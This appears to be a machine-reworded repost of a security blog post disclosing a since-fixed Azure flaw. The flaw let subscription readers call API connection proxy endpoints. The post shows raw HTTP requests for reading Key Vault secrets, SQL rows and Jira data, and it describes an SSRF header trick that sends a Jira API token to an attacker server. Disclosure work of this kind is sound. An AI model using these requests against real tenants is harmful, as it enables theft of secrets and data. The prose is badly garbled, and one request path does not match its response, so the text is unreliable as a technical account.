Software & Apps

Azure’s long distance link? How API connections focus on secrets

Binary Security finds no Document APIs for Azure API connections. In this post we have reviewed the contents of the connections that allow us to develop privileges and read secrets to key vaults, withdrawal services, strikers JIRA and SALESFORCE SERVS.

history

During a client deal, I checked their Azure resources looking for common vulnerals. They use a logic app to post certain messages to slack. Usually, we can find some tokens or other sensitive information in the work history of these apps, because it is usually not marked input (and output) as sensitive. I didn’t find anything different in this case, so I moved from investigation. However, once I saw a strange response from a request automatically created from the portal when going to the API connection resource. It’s something like:

GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer 


HTTP/2 200 OK
Content-Length: 1893
Content-Type: application/json; charset=utf-8


{
    "kind": "V2",
    "properties": {
        "displayName": "Slack",
        "authenticatedUser": {},
        "overallStatus": "Connected",
        "statuses":(
            {
                "status":"Connected"
            }
        ),
        "connectionState": "Enabled",
        "parameterValueSet":{
            "name":"oauth",
            "values":{}
        },
        "customParameterValues": {},
        "createdTime": "2025-01-24T11:46:25.0499291Z",
        "changedTime": "2025-01-24T11:46:25.0499291Z",
        "api": {
            "name": "slack",
            "displayName": "Slack",
            "description": "Slack is a team communication tool, that brings together all of your team communications in one place, instantly searchable and available wherever you go.",
            "iconUri": "https://conn-afd-prod-endpoint-bmc9bqahasf3grgk.b01.azurefd.net/u/v-anadhar/UpdateSlackForPlugin/1.0.1715.3917/slack/icon.png",
            "brandColor": "#78D4B6",
            "category": "Standard",
            "id": "/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/providers/Microsoft.Web/locations/norwayeast/managedApis/slack",
            "type": "Microsoft.Web/locations/managedApis"
        },
        "testLinks": (
            {
                "requestUri": "https://management.azure.com:443/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack/extensions/proxy/conversations.list?api-version=2018-07-01-preview",
                "method": "get"
            }
        ),
        "testRequests": (
            {
                "body": {
                    "request": {
                        "method": "get",
                        "path": "conversations.list"
                    }
                },
                "requestUri": "https://management.azure.com:443/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-preview",
                "method": "POST"
            }
        ),
        "connectionRuntimeUrl": "https://d84b73b612cf5960.16.common.logic-norwayeast.azure-apihub.net/apim/slack/4355f64966c34c0cbfc15d48ec41e0c3"
    },
    "id": "/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack",
    "name": "slack",
    "type": "Microsoft.Web/connections",
    "location": "norwayeast"
}

Today, it may not be unclean at first sight, but there are two key fields in this response that opens a whole odds.

The natural insecurity of API connections

Consider the testLinks and testRequests fields of the above answer. They seem to provide a type of proxy between the Azure Management API and the real backend server, which is most clearly seen in extensions/proxy trail. We also see that the connection may have proved in some way, in OAuth value of parameterValueSet. Now, I think it means some user, maybe anyone teaches it, confirmed in this connection, and we need his sign on connection, or maybe do OAuth Dance ourselves.

What I want to not Expected to have anyone with the connection reader permissions allowed to call any connection porn:


GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/logic-app-tests/providers/Microsoft.Web/connections/jira/extensions/proxy/conversations.list HTTP/2
Host: management.azure.com
Authorization: Bearer 


HTTP/2 200 OK
Content-Type: application/json
Content-Length: 18329

"ok": true,
"channels": (
    {
        "id": "C08B8RB5D39",
        "name": "social",
        "is_channel": true,
        "is_group": false,
        "is_im": false,
        "is_mpim": false,
        "is_private": false,
        "created": 1738674777,
        "is_archived": false,
        "is_general": false,
        "unlinked": 0,
        "name_normalized": "social",
        "is_shared": false,
        "is_org_shared": false,
        "is_pending_ext_shared": false,
        "pending_shared": (),
        "context_team_id": "T08BPBEC890",
        "updated": 1738674779593,
        "parent_conversation": null,
        "creator": "U08C22K3HPT",
        "is_ext_shared": false,
        "shared_team_ids": (
            "T08BPBEC890"
        ),
        "pending_connected_team_ids": (),
        "is_member": true,
<...>

The answer is actually equally similar to a direct question on the slack api point at the end Interactions.list

While the slack case may not be critical of security, this result begs: Is this task for all other sorts of APIs revealed in this interface?

The answer is yes. If you have created a API connection with any backend server, it includes other Azure resources, all readers of that subscription can call everything GET Requests described in connection. Specifically, it includes main vaults, SQL databases, Jiira-Server, Defense ATP, and so on.

Azure (Arm) API security model

Before I show how I can take advantage of it right, some background on the Azure Management API is required. While we do not know how Microsoft developers have been designed the system, as clearly to me at first, the management security model should be allowed to do GET Requests. You should have Contributor or higher to make any changes, ie with any of POST,, PUT,, DELETEother ways.

This appears in the example requiring a number of sensitive endpoints for App Services which is empty POST Requests, like List the Host keys.

In Binary Security we reported many vulnerabilities related to dropping sensitive information through security GET Points. Its consequence is that the security model is relatively changed at the present times, and it is not clear if a reader is allowed to call a GET Last point. This is, however, one way to attack, and reading documentation is another gold for exploiting bugs.

Returning API connections, it should be clear that management management /extensions/proxy/{action} Ends allow all readers to call the meaning GET Requests. And while it doesn’t appear as a problem in the world’s arm, no guarantee that the connected API follows this security model.

Create an API connection

AZI connections are the resources of the Azure world, such as keys vaults, SQL database or VMS, but they do not need clearly made. They are automatically made for you to set up actions of a logic app, so even if you haven’t heard them before, it’s possible that you’re having your tenants with your tenant to your tenant with your tenant. For example, making a connection with your Vault key as easy to view the logic design app designer, finding the key actions of vaults, which set up some qualities and testify.
Sign In to create the connection

This of course requires that the person who has set it up, and the authentic of the vault key has appropriate access to the vault key. After signing in, it is not necessary to save the work, the resource is still created, and should be clearly deleted if it is not necessary.

Flows for internal azure resources are similar to all, where you can choose between different types of authentication. For external resources, setup varies, but in all cases, some authentication information is saved inside the API connection in some way.

This means that the authentication used in backend ACI call is always, and does not depend on the user or primary calling in the arm API. To clearly, the backend is not aware of whether the call comes from the logic app or from proxy tunnnto, which is called by any resource reader.

The API connection API

The full list of API connections (the connectors) appear HERE. Proxy endpo is not clearly listed, but they can get from the API of connected service, or by asking the managedAPIs Closing for that specific connector, which reveals a sense of swagger on the API. Here we asked this for the meaning of Jira Connector:

GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/providers/microsoft.web/locations/norwaywest/managedapis/jira?api-version=2018-07-01-preview&export=true HTTP/2
Host: management.azure.com
Authorization: Bearer 

HTTP/2 200 OK
<...>

{
    "/{connectionId}/3/issue/{issueIdOrKey}": {
        "put": {
            "description": "Edits an issue. A transition may be applied and issue properties updated as part of the edit. The edits to the issue's fields are defined using update and fields.",
            "summary": "Edit Issue",
            "tags": (
                "Issues"
            ),
            "operationId": "EditIssue",
            "deprecated": false,
            "produces": (
                "application/json"
            ),
            "consumes": (
                "application/json"
            ),
            "parameters": (
                {
                    "name": "connectionId",
                    "in": "path",
                    "required": true,
                    "type": "string",
                    "x-ms-visibility": "internal"
                },
                {
                    "name": "issueIdOrKey",
                    "in": "path",
                    "required": true,
                    "type": "string",
                    "x-ms-summary": "Issue ID or Key",
                    "description": "Provide the Issue ID or Key for the issue you wish to edit",
                    "x-ms-url-encoding": "single"
                },
<...>

the {connectionId} In this case is the entire entrance to proxy Last mental, something like /subscription/(SUBSCRIPTION_ID)/resourceGroups/(RESOURCE_GROUP)/providers/Microsoft.Web/connections/(CONNECTION_NAME)/extensions/proxy/.

Using this knowledge, we can search for sensitive endpoints.

Azure Key Vaults

The connector for key vaults is probably one with the highest impact. Swagger definition includes this sensitive GET Ends

  • /{connectionId}/secrets For listing the secrets
  • /{connectionId}/secrets/{secretName}/value To get the value of the Secret

Drop the secrets by connection

SQL Databases

The SQL connector is similar to the Vault key, you may be free to read whatever you want:

  • /{connectionId}/databases – List databases

  • /{connectionId}/datasets – List DataSets

  • /{connectionId}/datasets({dataset})/tables({table})/items – Get rows from a table

Reading the rows of database

There is also a quiet error message here, if trying to do some path traveling on the dataset name. Seems not to be exploited in any way, but I bet you have never seen a stacktrace exposed to a status message at http:

The passageway to the stacktrace of HTTP status message

live

The Jira connector also reveals that all of your example in JIRA

  • /{connectionId}/v2/project/search – List projects

  • /{connectionId}/user/permission/search – List users

  • /{connectionId}/2/search – List the issues

  • /{connectionId}/issue/{issueKey} – Read an issue

This connector is also interesting because it is, of course, should be connected with your chance at JIRA somewhere on the internet. As soon as the connection is set up, the developer has given the URL connection to JIRA Storcance. Incredible, it does not ignore all successive requests, and rather, a special X-Request-Jirainstance The heading should be included in the request. It should point out your chance in Jira, but no verification, so an attacker is free to SSRF to the will. By setting it on an attack-controlled server, the attacker receives the sign of the API used in connection. It is also effective also issued ban on requests, and allowed to attack asking any conclusion of any method.

Special header insist on the server to create a request to a site controlled by the ACTACKER

The attacker received the request, with the sign of the 'Uluturalization's

Note that this attack is only possible when using the APIToken authentication mechanism. If used OAuthA GUID is used to find your chance at JIRA.

Some

All API connections should be considered unsecured as long as readers can call the backend server. In almost all cases I have seen, the connection reveals all the backend service information. In addition to the above, it includes:

  • Salesforce
  • Azure Storage Blogs
  • Azure Defender ATP
  • Google mail, contact, calendar

and maybe more.

Future work

I think there is a significant notenced potential for these connections. Without going detail, I can tell you that API connections have an important architectural value hidden between server handling and backend ACI. All calls from arms to a global APOS occasion with a tenant API connection, using a Token Sport. The initial authentication setup also says a global Authorization to the server for storing tokens. If this secret infrastructure is compromised, there is a significant cross-top effect.

Finally

Hope now, you know the impact of a lacking security model. Although these points points do not understand, they just make it harder to find, not exploit. I am confident that any security research they find then noticed the flowing hole in the security it placed in their sigh. Hope, this post will allow others to find additional Azure insecurities, so we can be safer in the future.

Microsoft response:

  • Jan 6: Reported Microsoft’s submitted, a General for API connections and one specifically for Jira.
  • Jan 7: The API connection case is closed by Microsoft as invalid, I submit it again in many words.
  • Jan 10: Microsoft verifies the connection with the API connection
  • Jan 12-17: Microsoft repaired API connection connection by disallowing any requests /extensions/proxy Outside testrequests.
  • Jan 30: Microsoft responds to Jia’s ticket, saying that they cannot encourage it, need clearly, because it is fixed.
  • February 12: The Jira Ticket closed
  • Feb 13: Microsoft responds to the API connection case, saying it is fixed.
  • February 20: The case is closed as a double.

2025-03-12 09:43:00

Related Articles

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button